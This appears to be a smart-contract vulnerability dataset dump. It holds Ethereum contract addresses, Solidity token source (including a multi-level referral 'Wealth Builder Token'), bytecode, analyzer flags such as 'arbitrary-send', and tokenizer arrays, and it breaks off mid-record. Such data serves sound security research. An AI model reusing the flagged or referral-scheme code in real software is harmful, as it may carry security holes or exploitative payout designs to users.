74206661696c6564202d207a65726f2060448201527f6465706f73697473206e6f7420616c6c6f776564000000000000000000000000606482015290519081900360840190fd5b60025474010000000000000000000000000000000000000000900460ff161561086a576040805160e560020a62461bcd02815260206004820152602d60248201527f466f72776172646572204465706f736974206661696c6564202d206e6f20726560448201527f67697374657265642062616e6b00000000000000000000000000000000000000606482015290519081900360840190fd5b600154604080517ff340fa010000000000000000000000000000000000000000000000000000000081523360048201529051600160a060020a039092169163f340fa01913491602480830192602092919082900301818588803b1580156108d057600080fd5b505af11580156108e4573d6000803e3d6000fd5b50505050506040513d60208110156108fb57600080fd5b505115156001141561090f575060016103d0565b5060006103d05600a165627a7a72305820704bd39be1d412244c96874809aa6a59f367e6df41ec01a32e9569b3c428e5be0029
{"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'arbitrary-send', 'impact': 'High', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2581, 19481, 2549, 2050, 2581, 22407, 16048, 2683, 2509, 2497, 2581, 2278, 2683, 2509, 2546, 2575, 22022, 2620, 3676, 2549, 8586, 22025, 2497, 2683, 14141, 2094, 2581, 2575, 2094, 2575, 2063, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1018, 1012, 2484, 1025, 8278, 11268, 2953, 7652, 23282, 3334, 12172, 1063, 3853, 12816, 1006, 4769, 1035, 5587, 2099, 1007, 6327, 3477, 3085, 5651, 1006, 22017, 2140, 1007, 1025, 3853, 9230, 2890, 3401, 16402, 1035, 16437, 1006, 1007, 6327, 5651, 1006, 22017, 2140, 1007, 1025, 1065, 3206, 11268, 2953, 7652, 2121, 1063, 5164, 2270, 2171, 1027, 1000, 11268, 2953, 7652, 2121, 1000, 1025, 11268, 2953, 7652, 23282, 3334, 12172, 2797, 2783, 24586, 9299, 1035, 1025, 4769, 2797, 2047, 24586, 9299, 1035, 1025, 22017, 2140, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,707
0x9735b7cba7e79f00e8a53365c442aaade62e6129
pragma solidity ^0.4.16; interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) external; } contract TokenERC20 { // Public variables of the token string public name; string public symbol; uint8 public decimals = 18; // 18 decimals is the strongly suggested default, avoid changing it uint256 public totalSupply; // This creates an array with all balances mapping (address => uint256) public balanceOf; mapping (address => mapping (address => uint256)) public allowance; // This generates a public event on the blockchain that will notify clients event Transfer(address indexed from, address indexed to, uint256 value); // This generates a public event on the blockchain that will notify clients event Approval(address indexed _owner, address indexed _spender, uint256 _value); // This notifies clients about the amount burnt event Burn(address indexed from, uint256 value); /** * Constructor function * * Initializes contract with initial supply tokens to the creator of the contract */ function TokenERC20( uint256 initialSupply, string tokenName, string tokenSymbol ) public { totalSupply = initialSupply * 10 ** uint256(decimals); // Update total supply with the decimal amount balanceOf[msg.sender] = totalSupply; // Give the creator all initial tokens name = tokenName; // Set the name for display purposes symbol = tokenSymbol; // Set the symbol for display purposes } /** * Internal transfer, only can be called by this contract */ function _transfer(address _from, address _to, uint _value) internal { // Prevent transfer to 0x0 address. Use burn() instead require(_to != 0x0); // Check if the sender has enough require(balanceOf[_from] >= _value); // Check for overflows require(balanceOf[_to] + _value >= balanceOf[_to]); // Save this for an assertion in the future uint previousBalances = balanceOf[_from] + balanceOf[_to]; // Subtract from the sender balanceOf[_from] -= _value; // Add the same to the recipient balanceOf[_to] += _value; emit Transfer(_from, _to, _value); // Asserts are used to use static analysis to find bugs in your code. They should never fail assert(balanceOf[_from] + balanceOf[_to] == previousBalances); } /** * Transfer tokens * * Send `_value` tokens to `_to` from your account * * @param _to The address of the recipient * @param _value the amount to send */ function transfer(address _to, uint256 _value) public returns (bool success) { _transfer(msg.sender, _to, _value); return true; } /** * Transfer tokens from other address * * Send `_value` tokens to `_to` on behalf of `_from` * * @param _from The address of the sender * @param _to The address of the recipient * @param _value the amount to send */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { require(_value <= allowance[_from][msg.sender]); // Check allowance allowance[_from][msg.sender] -= _value; _transfer(_from, _to, _value); return true; } /** * Set allowance for other address * * Allows `_spender` to spend no more than `_value` tokens on your behalf * * @param _spender The address authorized to spend * @param _value the max amount they can spend */ function approve(address _spender, uint256 _value) public returns (bool success) { allowance[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * Set allowance for other address and notify * * Allows `_spender` to spend no more than `_value` tokens on your behalf, and then ping the contract about it * * @param _spender The address authorized to spend * @param _value the max amount they can spend * @param _extraData some extra information to send to the approved contract */ function approveAndCall(address _spender, uint256 _value, bytes _extraData) public returns (bool success) { tokenRecipient spender = tokenRecipient(_spender); if (approve(_spender, _value)) { spender.receiveApproval(msg.sender, _value, this, _extraData); return true; } } /** * Destroy tokens * * Remove `_value` tokens from the system irreversibly * * @param _value the amount of money to burn */ function burn(uint256 _value) public returns (bool success) { require(balanceOf[msg.sender] >= _value); // Check if the sender has enough balanceOf[msg.sender] -= _value; // Subtract from the sender totalSupply -= _value; // Updates totalSupply emit Burn(msg.sender, _value); return true; } /** * Destroy tokens from other account * * Remove `_value` tokens from the system irreversibly on behalf of `_from`. * * @param _from the address of the sender * @param _value the amount of money to burn */ function burnFrom(address _from, uint256 _value) public returns (bool success) { require(balanceOf[_from] >= _value); // Check if the targeted balance is enough require(_value <= allowance[_from][msg.sender]); // Check allowance balanceOf[_from] -= _value; // Subtract from the targeted balance allowance[_from][msg.sender] -= _value; // Subtract from the sender's allowance totalSupply -= _value; // Update totalSupply emit Burn(_from, _value); return true; } }
0x6080604052600436106100b95763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde0381146100be578063095ea7b31461014857806318160ddd1461018057806323b872dd146101a7578063313ce567146101d157806342966c68146101fc57806370a082311461021457806379cc67901461023557806395d89b4114610259578063a9059cbb1461026e578063cae9ca5114610292578063dd62ed3e146102fb575b600080fd5b3480156100ca57600080fd5b506100d3610322565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561010d5781810151838201526020016100f5565b50505050905090810190601f16801561013a5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561015457600080fd5b5061016c600160a060020a03600435166024356103b0565b604080519115158252519081900360200190f35b34801561018c57600080fd5b50610195610416565b60408051918252519081900360200190f35b3480156101b357600080fd5b5061016c600160a060020a036004358116906024351660443561041c565b3480156101dd57600080fd5b506101e661048b565b6040805160ff9092168252519081900360200190f35b34801561020857600080fd5b5061016c600435610494565b34801561022057600080fd5b50610195600160a060020a036004351661050c565b34801561024157600080fd5b5061016c600160a060020a036004351660243561051e565b34801561026557600080fd5b506100d36105ef565b34801561027a57600080fd5b5061016c600160a060020a0360043516602435610649565b34801561029e57600080fd5b50604080516020600460443581810135601f810184900484028501840190955284845261016c948235600160a060020a031694602480359536959460649492019190819084018382808284375094975061065f9650505050505050565b34801561030757600080fd5b50610195600160a060020a0360043581169060243516610778565b6000805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156103a85780601f1061037d576101008083540402835291602001916103a8565b820191906000526020600020905b81548152906001019060200180831161038b57829003601f168201915b505050505081565b336000818152600560209081526040808320600160a060020a038716808552908352818420869055815186815291519394909390927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925928290030190a350600192915050565b60035481565b600160a060020a038316600090815260056020908152604080832033845290915281205482111561044c57600080fd5b600160a060020a0384166000908152600560209081526040808320338452909152902080548390039055610481848484610795565b5060019392505050565b60025460ff1681565b336000908152600460205260408120548211156104b057600080fd5b3360008181526004602090815260409182902080548690039055600380548690039055815185815291517fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca59281900390910190a2506001919050565b60046020526000908152604090205481565b600160a060020a03821660009081526004602052604081205482111561054357600080fd5b600160a060020a038316600090815260056020908152604080832033845290915290205482111561057357600080fd5b600160a060020a0383166000818152600460209081526040808320805487900390556005825280832033845282529182902080548690039055600380548690039055815185815291517fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca59281900390910190a250600192915050565b60018054604080516020600284861615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156103a85780601f1061037d576101008083540402835291602001916103a8565b6000610656338484610795565b50600192915050565b60008361066c81856103b0565b15610770576040517f8f4ffcb10000000000000000000000000000000000000000000000000000000081523360048201818152602483018790523060448401819052608060648501908152875160848601528751600160a060020a03871695638f4ffcb195948b94938b939192909160a490910190602085019080838360005b838110156107045781810151838201526020016106ec565b50505050905090810190601f1680156107315780820380516001836020036101000a031916815260200191505b5095505050505050600060405180830381600087803b15801561075357600080fd5b505af1158015610767573d6000803e3d6000fd5b50505050600191505b509392505050565b600560209081526000928352604080842090915290825290205481565b6000600160a060020a03831615156107ac57600080fd5b600160a060020a0384166000908152600460205260409020548211156107d157600080fd5b600160a060020a03831660009081526004602052604090205482810110156107f857600080fd5b50600160a060020a038083166000818152600460209081526040808320805495891680855282852080548981039091559486905281548801909155815187815291519390950194927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef929181900390910190a3600160a060020a0380841660009081526004602052604080822054928716825290205401811461089757fe5b505050505600a165627a7a72305820e77d04219ac5ef2a9dfcaa0cdec76eebe38437e6a58a400526aa01fb887c62910029
{"success": true, "error": null, "results": {}}
true
null
{}
[ 101, 1014, 2595, 2683, 2581, 19481, 2497, 2581, 27421, 2050, 2581, 2063, 2581, 2683, 2546, 8889, 2063, 2620, 2050, 22275, 21619, 2629, 2278, 22932, 2475, 11057, 9648, 2575, 2475, 2063, 2575, 12521, 2683, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1018, 1012, 2385, 1025, 8278, 19204, 2890, 6895, 14756, 3372, 1063, 3853, 4374, 29098, 12298, 2389, 1006, 4769, 1035, 2013, 1010, 21318, 3372, 17788, 2575, 1035, 3643, 1010, 4769, 1035, 19204, 1010, 27507, 1035, 4469, 2850, 2696, 1007, 6327, 1025, 1065, 3206, 19204, 2121, 2278, 11387, 1063, 1013, 1013, 2270, 10857, 1997, 1996, 19204, 5164, 2270, 2171, 1025, 5164, 2270, 6454, 1025, 21318, 3372, 2620, 2270, 26066, 2015, 1027, 2324, 1025, 1013, 1013, 2324, 26066, 2015, 2003, 1996, 6118, 4081, 12398, 1010, 4468, 5278, 2009, 21318, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,708
0x9735c9b9ed14f3f6cab74c267a720bfd2715eb2b
pragma solidity ^0.4.19; contract Ownable { /** * @dev set `owner` of the contract to the sender */ address public owner = msg.sender; /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); owner = newOwner; } } library SafeMath { function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a); return a - b; } } /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { uint256 public totalSupply; function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); // SafeMath.sub will throw if there is not enough balance. balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] += _value; Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } } /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] += _value; allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } } /** * @title Mintable token * @dev Simple ERC20 Token example, with mintable token creation * @dev Issue: * https://github.com/OpenZeppelin/zeppelin-solidity/issues/120 * Based on code by TokenMarketNet: https://github.com/TokenMarketNet/ico/blob/master/contracts/MintableToken.sol */ contract MintableToken is StandardToken, Ownable { event Mint(address indexed to, uint256 amount); event Burn(address indexed burner, uint value); event MintFinished(); bool public mintingFinished = false; modifier canMint() { require(!mintingFinished); _; } /** * @dev Function to mint tokens * @param _to The address that will receive the minted tokens. * @param _amount The amount of tokens to mint. * @return A boolean that indicates if the operation was successful. */ function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) { totalSupply += _amount; balances[_to] += _amount; Mint(_to, _amount); Transfer(address(0), _to, _amount); return true; } /** * @dev Function to burn tokens * @param _addr The address that will have _amount of tokens burned. * @param _amount The amount of tokens to burn. */ function burn(address _addr, uint _amount) onlyOwner public { require(_amount > 0 && balances[_addr] >= _amount && totalSupply >= _amount); balances[_addr] -= _amount; totalSupply -= _amount; Burn(_addr, _amount); Transfer(_addr, address(0), _amount); } /** * @dev Function to stop minting new tokens. * @return True if the operation was successful. */ function finishMinting() onlyOwner canMint public returns (bool) { mintingFinished = true; MintFinished(); return true; } } contract WealthBuilderToken is MintableToken { string public name = "Wealth Builder Token"; string public symbol = "WBT"; uint32 public decimals = 18; /** * how many {tokens*10^(-18)} get per 1wei */ uint public rate = 10**7; /** * multiplicator for rate */ uint public mrate = 10**7; function setRate(uint _rate) onlyOwner public { rate = _rate; } } contract Declaration { // threshold in USD => status mapping (uint => uint8) statusThreshold; // status => (depositsNumber => percentage) mapping (uint8 => mapping (uint8 => uint)) feeDistribution; // status thresholds in USD uint[8] thresholds = [ 0, 5000, 35000, 150000, 500000, 2500000, 5000000, 10000000 ]; uint[5] referralFees = [50, 30, 20, 10, 5]; uint[5] serviceFees = [25, 20, 15, 10, 5]; /** * @dev The Declaration constructor to define some constants */ function Declaration() public { setFeeDistributionsAndStatusThresholds(); } /** * @dev Set up fee distribution & status thresholds */ function setFeeDistributionsAndStatusThresholds() private { // Agent - 0 setFeeDistributionAndStatusThreshold(0, [12, 8, 5, 2, 1], thresholds[0]); // SilverAgent - 1 setFeeDistributionAndStatusThreshold(1, [16, 10, 6, 3, 2], thresholds[1]); // Manager - 2 setFeeDistributionAndStatusThreshold(2, [20, 12, 8, 4, 2], thresholds[2]); // ManagerOfGroup - 3 setFeeDistributionAndStatusThreshold(3, [25, 15, 10, 5, 3], thresholds[3]); // ManagerOfRegion - 4 setFeeDistributionAndStatusThreshold(4, [30, 18, 12, 6, 3], thresholds[4]); // Director - 5 setFeeDistributionAndStatusThreshold(5, [35, 21, 14, 7, 4], thresholds[5]); // DirectorOfGroup - 6 setFeeDistributionAndStatusThreshold(6, [40, 24, 16, 8, 4], thresholds[6]); // DirectorOfRegion - 7 setFeeDistributionAndStatusThreshold(7, [50, 30, 20, 10, 5], thresholds[7]); } /** * @dev Set up specific fee and status threshold * @param _st The status to set up for * @param _percentages Array of pecentages, which should go to member * @param _threshold The minimum amount of sum of children deposits to get * the status _st */ function setFeeDistributionAndStatusThreshold( uint8 _st, uint8[5] _percentages, uint _threshold ) private { statusThreshold[_threshold] = _st; for (uint8 i = 0; i < _percentages.length; i++) { feeDistribution[_st][i] = _percentages[i]; } } } contract Data is Ownable { // node => its parent mapping (address => address) private parent; // node => its status mapping (address => uint8) public statuses; // node => sum of all his child deposits in USD cents mapping (address => uint) public referralDeposits; // client => balance in wei*10^(-6) available for withdrawal mapping(address => uint256) private balances; // investor => balance in wei*10^(-6) available for withdrawal mapping(address => uint256) private investorBalances; function parentOf(address _addr) public constant returns (address) { return parent[_addr]; } function balanceOf(address _addr) public constant returns (uint256) { return balances[_addr] / 1000000; } function investorBalanceOf(address _addr) public constant returns (uint256) { return investorBalances[_addr] / 1000000; } /** * @dev The Data constructor to set up the first depositer */ function Data() public { // DirectorOfRegion - 7 statuses[msg.sender] = 7; } function addBalance(address _addr, uint256 amount) onlyOwner public { balances[_addr] += amount; } function subtrBalance(address _addr, uint256 amount) onlyOwner public { require(balances[_addr] >= amount); balances[_addr] -= amount; } function addInvestorBalance(address _addr, uint256 amount) onlyOwner public { investorBalances[_addr] += amount; } function subtrInvestorBalance(address _addr, uint256 amount) onlyOwner public { require(investorBalances[_addr] >= amount); investorBalances[_addr] -= amount; } function addReferralDeposit(address _addr, uint256 amount) onlyOwner public { referralDeposits[_addr] += amount; } function setStatus(address _addr, uint8 _status) onlyOwner public { statuses[_addr] = _status; } function setParent(address _addr, address _parent) onlyOwner public { parent[_addr] = _parent; } } contract Investors is Ownable { // investors /* "0x418155b19d7350f5a843b826474aa2f7623e99a6","0xbeb7a29a008d69069fd10154966870ff1dda44a0","0xa9cb1b8ba1c8facb92172e459389f80d304595a3","0xf3f2bf9be0ccc8f27a15ccf18d820c0722e8996a","0xa0f36ac9f68c1a4594ef5cec29dc9b1cc67f822c","0xc319278cca404e3a479b088922e4117feb4cec9d","0xe633c933529d6fd7c6147d2b0dc51bfbe3304e56","0x5bd2c1f2f06b16e427a4ec3a6beef6263fd506da","0x52c4f101d0367c3f9933d0c14ea389e74ad00352","0xf7a0d2149f324a0b607ebf23df671acc4e9da6d2", "0x0418df662bb2994262bb720d477e558a59e19490","0xf0de6520e0726ba3d84611f84867aa9987391402","0x1e895274a9570f150f11ae0ed86dd42a53208b81","0x95a247bef71f6b234e9805d1493366a302a498e4","0x9daaeaf355f69f7176a0145df6d1769d7f14553b","0x029136181d87c6f0979431255424b5fad78e8491","0x7e1f5669d9e1c593a495c5cec384ca32ad4a09fc","0x46c7e04fdaaa1a9298e63ca2fd47b0004cb236bf","0x5933fa485863da06584057494f0f6660d3c1477c","0x4290231804dd59947aff9fcef925287e44906e7b", "0x2feaf2101b3f9943a81567badb56e3780946ce3f","0x5b602c34ba643913908f69a4cd5846a07ed3915b","0x146308896955030ce3bcc6030bab142afddaa1e6","0x9fc61b75451fabf5b5b78e03bacaf8bb592541fc","0x87f7636f7856466b6c6bce999574a784387e2b78","0x024db1f560327ab5174f1a737caf446b5644c709","0x715c248e621cbdb6f091bf653bb4bc331d2f9b1e","0xfe92a23b497140ba055a91ade89d91f95f8e5153","0xc3426e0e0634725a628a7a21bfd49274e1f24733","0xb12a79b9dba8bbb9ed5e329466a9c2703da38dbd","0x44d8336749ebf584a4bcd636cefe83e6e0b33e7d","0x89c91460c3bdc164250e5a27351c743c070c226a","0xe0798a1b847f450b5d4819043d27a380a4715af8","0xeac5e75252d902cb7f8473e45fff9ceb391c536b","0xea53e88876a6da2579d837a559b31b08d6750681","0x5df22fac00c45ef7b5c285c54a006798f42bbc6e","0x09899f20064b5e67d02f6a97ef412564977ee193","0xc572f18d0a4a65f6e612e6de484dbc15b8839df3","0x397b9719e720c0d33fe7dcc004958e56636cbf82","0x577de83b60299df60cc7fce7ac78d3a5d880aa95", "0x9a716298949b16c4610b40ba1d19e96d3286c35c","0x60ef523f3845e38a20b63344a4e9ec689773ead6","0xe34252e3efe0514c5fb76c9fb39ff31f554d6659","0xbabfbdf4f422d36c00e448cc562ce0f5dbe47d64","0x2608cca4aff4cc3008ac6bd22e0664348ecee088","0x0dd1d3102f89d4ee7c260048cbe01933f17debde","0xdbb28fafc4ecd7736247aca7dc8e20782ca86a7a","0x6201fc413bb9292527956a70e7575436d5135ce1","0xa836f4cfb8fd3e5bccc9c7a6a678f2a5928b7c79","0x85dce799fd059d86c420eb4e3c1bd89e323b7b12","0xdef2086c6bbdc8b0f6e130907f05345b44af8cc3","0xc1004695ce07ef5efb1d218672e5cfcb659c5900","0x227a5b4bb4cffc2b907d9f586dd100989efeee56","0xd372b3d43ba8ea406f64dbc68f70ec812e54fbc8","0xdf6c417cdb27bc0c877a0e121a2c58ad884e85c6","0x090f4d53b5d7ebcb8e348709cdb708d80cd199f0","0x2499b302b6f5e57f54c1c7a326813e3dffddcd1a","0x3114024a034443e972707522d911fc709f62dd3e","0x30b864f49cef510b1173a5bfc31e77b0b59daf9e","0x9a9680f5ddee6cef96ef36ab506f4b6d3198c35e","0x08018337b9b138b631cd325168c3d5014df6e18b","0x2ac345a4ec1615c3a236099ebbed4911673bbfa5","0x2b9fd54828cd443b7c411419b058b44bd02fdc49","0x208713a63460d44e5a83ae8e8f7333496a05065e","0xe4052eb7ba8891ee7ccd7551faaa5f4c421904e7","0x74bc9db1ac813db06f771bcff359e9237b01c906","0x033dd047a042ea873ca27af36b64ca566a006e97","0xb4721808a3f2830a1708967302443b53f5943429","0xc91fbb815c2f4944d8c6846be6ac0e30f5a037df","0x19ef947c276436ac11a8be15567909a37d824e73","0x079eefd69c5a4c5e4c9ee3fa08c2a2964da3e11a","0x11fb64be296590f948d56daab6c2d102c9842b08","0x06ec97feaeb0f4b9a75f9671d6b62bfadaf18ddd","0xaeda3cff45032695fb2cf4f584cda822bd5d8b7e","0x9f377085d3da85107cd68bd08bdd9a1b862d44e0","0xb46b8d1c313c52fd422fe189dde1b4d0800a5e0f","0x99039fa34510c7321f4d19ea337c80cc14cc885d","0x378aba0f47c7790ed0e5ca61749b0025d1208a5d","0x4395e1db93d4e2f4583a4f87494eb0aea057b8fd","0xa4035578750564e48abfb5ba1d6eec1da1bf366f","0xb611b39eb6c16dae3754e514ddd5f02fcadd765f","0x67d41491ddc004e899a3faf109f526cd717fe6d8","0x58e2c10865f9a1668e800c91b6a3d7b3416fb26c","0x04e34355ced9d532c9bc01d5e569f31b6d46cd50","0xf80358cabdc9b9b79570b6f073a861cf5567bb57","0xbdacb079fc17a00d945f01f4f9bd5d03cfcd5b6c","0x387a723060bc42a7796c76197d2d3b41b4c43d19","0xa04cc8fc56c34ab8104f63c11bf211de4bb7b0aa","0x3bf8b5ede7501519d41792715215735d8f40af10","0x6c3a13bac5cf61b1927562a927e89ca6b5d034d6","0x9899aecef15de43eec04859be649ac4c50330886","0xa4d25bac971ca08b47a908a070b6362102206c12", "0xf88d963dc3f58fe6e71879543e57734e8152f70d","0x7b30a000f7ae56ee6206cbd9fb20c934b4bbb5d1","0xb2f0e5330e90559a738eda0df156635e18a145fd","0x5b2c07b6cce506f2293f1b32dc33d9928b8c9ada","0x5a967c0e38cb3bfad90df288ce238699cc47b5e3","0x0e686d6f3c897cae3984b80b5f6a7c785c708718","0xa8ea0b6bc70502644c0644fb4c0810540a1fa261","0xc70e278819ef5aec6b3ededc21e2981557e14443","0x477b5ae32ffcd34eb25f0c52866d4f602982dc6f","0x3e72a45fbc6a0858b506a0c7bedff79af75ae37c","0x1430e272a50703ef46d8ed5aa01e1ced71245341","0xc87d0bb90a6105a66fd5105c6746218d381b8207","0x0ed7f98b6177d0c15e27704f2bae4d068b8594d5","0x09a627b57879eb625cd8b7c59ffa363222553c23","0x0fdbc41046590ef7ee2a73b9808fd5bd7e189ac4","0x6a4b68af67a3b4a98fe1a59210dd3d775e567729","0x442a3daf774329fee3e904e86ddec1191f4be3ce","0x9efa8fe7fa51c8b36ab902046f879b035520f556","0x510e8e58b8ce4acaa6866e59dfc0fa339ea358e5","0x374831251283aa63aee6506ac6580479aaf3c22b","0xf758c498d020c0b92f2116d09d7ef6509c2c71bd","0xd83e8281ffcfb0ff96236e99ba66aabb8dcc7920","0x3670c3a5e65b757db8c82b12dd92057ac19d41fa","0xfd28eb7e3e5e3406ce6b82045d487c2be294cd38","0x2d23cd492096b903e4595ccdac74e49692a6ea8e","0x94d3a0a19ed5448052c549fd1f69f54c5f1fd8c5","0x8e5354ac59cee09d252e379a3534053306022ebe","0xa66f3700dda0147c56c2970202768c956c644ffd","0xf11d32baef6221f36916c58844cd8e9813c0af47","0x384a9bc1de23b36c2a23b963e57c8cd85b0d592c","0xbd00dfbaaa1abaa7948c7b2a6bed6e644293cc1c","0xa99a28afcbd4ab09a2ef2c0932becd0368225ee6","0xe554084d77bc6e510eed7276cb6033865375b669","0xe7582fa53531915a2fef5a81b98969d0091d8d44","0x5f15db1d209fa6fd3c667fb086d3d89e3793511f","0x7e9ff5348d57d3427e24b7e104ad5acf039edaf2","0xb4fb1a01483454d75a0cdfa983b99236c4c91111","0x4a7cc5eebfe019efab06c1fa9ae8453dc63ba84e","0xb6fc08d5043b51ac05cdbd88afaab0e4422762d0","0xb18365f4f1e95287a5f85c8a67cebee9e6164c31","0xaf575cfb94d65eaeaace749868282d0e26e4608a","0x3d07e5ff3a2d29ee17584dff60cc99bb4cd79c3d","0x08f0afc93fbc8188150f4bcab004e259cd4785aa","0x65ac3ed81f101e5651c72c4cc2d74650378b5b0c","0x58aef4fc6b54cb53683a6481655021109b8d4dce","0x6aa43e24604577574a0632524a1f4c21d70a61e2","0xbee55aa5ad9953294ecac83a6b62f10c8155444b","0x99dc885ac6ec9873e2409d5a31e7f525c1897e09","0x53a0622034680d64bd0f139df5e989d70b194a4d","0xa6ba4966f1fdd0e8560516e53490b25cf0c4fbd1","0xbd1b95ee4621ecda41961da61277e17e52f37dbf","0xf6481b881eea526ae36cbe11d58d641f96f04a77","0xd158d53d75eac0dda9d2dedf3418d071a2fd44ee","0xb22697e3f33544da7782c8197d07704e1906a3bf","0xa3237e67df409dca45930c1f5f671251adc202be","0x72b26f2dded753a01f391322b00f9a85a77c7fda","0x203fbf3a77bdf35f7aca220b363272896db91d57","0xb1be2f4d72eb87dfcf7ed93c8ec16e4040e52560","0xc60d8a0313ede22194ebe6285471f72f9bcdcda0","0x9888e7423ea48413a4c90a10c76ca5f90d065e1f","0x0be856768ad0ec5b45464ce5202e2c337224cebf","0x3b54ea00a74b116510c4f73a3fc19a62991aaf64","0xe72aa06ffe7058f73622f219af164369c03e3a41","0x7e71fada017d9af455f38db4957d527f51fe1bc5","0x78430e58934220f37ca6b9dbe622f076ad0eb3f5","0x46b55dd1c8187f17b659948a991adac7b426b71e","0x0c765e201bb43d49ab5b44d40d3cf1d219424821","0x4739d251b40028761bbd8034a21919d926f23b45","0x00a7c7bc71022032f6ef3f699b212c9450875740","0x0d4f50b0d43d34a163b8dd7c33fbcc92a19cfa59","0x9284fbc0cc35d9b835de2b00b6b7093075527f6b","0x3564e101b32fe5f3c99e8da823ac003373c26d33","0xf5a358f228dc964fa7c703cb6ad9f6002ce77b17","0x8297a09b5dac9e60896c787f0995ac06441ab14f","0xed8c9b4fd60a6e4ae66c38f5819cffb360af5dd5","0x23009de4ec4a666ba719656d8